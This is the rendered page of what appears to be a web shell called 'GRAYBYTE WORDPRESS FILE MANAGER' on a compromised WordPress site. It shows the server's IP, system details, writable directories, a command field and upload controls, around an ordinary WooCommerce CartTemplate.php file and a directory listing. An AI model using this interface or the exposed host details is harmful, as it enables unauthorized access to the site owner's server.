GRAYBYTE WORDPRESS FILE MANAGER3972

Server IP : 198.54.121.189 / Your IP : 216.73.216.112
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/giriqfky/chahida.co.in/wp-content/plugins/woocommerce/src/Blocks/Templates/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/giriqfky/chahida.co.in/wp-content/plugins/woocommerce/src/Blocks/Templates//CartTemplate.php
<?php
namespace Automattic\WooCommerce\Blocks\Templates;

/**
 * CartTemplate class.
 *
 * @internal
 */
class CartTemplate extends AbstractPageTemplate {

	/**
	 * The slug of the template.
	 *
	 * @var string
	 */
	const SLUG = 'page-cart';

	/**
	 * Initialization method.
	 */
	public function init() {
		add_action( 'template_redirect', array( $this, 'render_block_template' ) );

		parent::init();
	}

	/**
	 * Returns the title of the template.
	 *
	 * @return string
	 */
	public function get_template_title() {
		return _x( 'Page: Cart', 'Template name', 'woocommerce' );
	}

	/**
	 * Returns the description of the template.
	 *
	 * @return string
	 */
	public function get_template_description() {
		return __( 'The Cart template displays the items selected by the user for purchase, including quantities, prices, and discounts. It allows users to review their choices before proceeding to checkout.', 'woocommerce' );
	}

	/**
	 * Renders the default block template from Woo Blocks if no theme templates exist.
	 */
	public function render_block_template() {
		if (
			! is_embed() && is_cart()
		) {
			add_filter( 'woocommerce_has_block_template', '__return_true', 10, 0 );
		}
	}

	/**
	 * Returns the page object assigned to this template/page.
	 *
	 * @return \WP_Post|null Post object or null.
	 */
	protected function get_placeholder_page() {
		$page_id = wc_get_page_id( 'cart' );
		return $page_id ? get_post( $page_id ) : null;
	}

	/**
	 * True when viewing the cart page or cart endpoint.
	 *
	 * @return boolean
	 */
	protected function is_active_template() {
		global $post;
		$placeholder = $this->get_placeholder_page();
		return null !== $placeholder && $post instanceof \WP_Post && $placeholder->post_name === $post->post_name;
	}

	/**
	 * When the page should be displaying the template, add it to the hierarchy.
	 *
	 * This places the template name e.g. `cart`, at the beginning of the template hierarchy array. The hook priority
	 * is 1 to ensure it runs first; other consumers e.g. extensions, could therefore inject their own template instead
	 * of this one when using the default priority of 10.
	 *
	 * @param array $templates Templates that match the pages_template_hierarchy.
	 */
	public function page_template_hierarchy( $templates ) {
		if ( $this->is_active_template() ) {
			array_unshift( $templates, self::SLUG );
			array_unshift( $templates, 'cart' );
		}
		return $templates;
	}
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
.htaccess
0.41 KB
July 10 2025 04:32:19
giriqfky / giriqfky
0644
AbstractPageTemplate.php
1.812 KB
August 27 2024 23:04:44
giriqfky / giriqfky
0644
AbstractTemplate.php
0.582 KB
March 26 2024 16:56:02
giriqfky / giriqfky
0644
AbstractTemplateCompatibility.php
5.756 KB
March 03 2025 22:28:12
giriqfky / giriqfky
0644
AbstractTemplatePart.php
0.324 KB
March 26 2024 16:56:02
giriqfky / giriqfky
0644
ArchiveProductTemplatesCompatibility.php
12.428 KB
September 23 2024 20:44:04
giriqfky / giriqfky
0644
CartTemplate.php
2.377 KB
April 30 2024 19:35:34
giriqfky / giriqfky
0644
CheckoutHeaderTemplate.php
0.843 KB
March 26 2024 16:56:02
giriqfky / giriqfky
0644
CheckoutTemplate.php
2.419 KB
April 30 2024 19:35:34
giriqfky / giriqfky
0644
ClassicTemplatesCompatibility.php
2.373 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644
ComingSoonSocialLinksTemplate.php
1.105 KB
December 18 2024 22:19:16
giriqfky / giriqfky
0644
ComingSoonTemplate.php
2.58 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644
ExternalProductAddToCartWithOptionsTemplate.php
1.003 KB
March 03 2025 22:28:12
giriqfky / giriqfky
0644
GroupedProductAddToCartWithOptionsTemplate.php
0.998 KB
March 03 2025 22:28:12
giriqfky / giriqfky
0644
MiniCartTemplate.php
1.674 KB
April 30 2024 19:35:34
giriqfky / giriqfky
0644
OrderConfirmationTemplate.php
1.58 KB
August 27 2024 23:04:44
giriqfky / giriqfky
0644
ProductAttributeTemplate.php
2.456 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644
ProductCatalogTemplate.php
2.35 KB
January 21 2025 18:53:44
giriqfky / giriqfky
0644
ProductCategoryTemplate.php
1.742 KB
September 23 2024 20:44:04
giriqfky / giriqfky
0644
ProductSearchResultsTemplate.php
2.107 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644
ProductTagTemplate.php
1.723 KB
September 23 2024 20:44:04
giriqfky / giriqfky
0644
SimpleProductAddToCartWithOptionsTemplate.php
0.993 KB
March 03 2025 22:28:12
giriqfky / giriqfky
0644
SingleProductTemplate.php
8.854 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644
SingleProductTemplateCompatibility.php
14.637 KB
March 03 2025 22:28:12
giriqfky / giriqfky
0644
VariableProductAddToCartWithOptionsTemplate.php
1.003 KB
March 03 2025 22:28:12
giriqfky / giriqfky
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF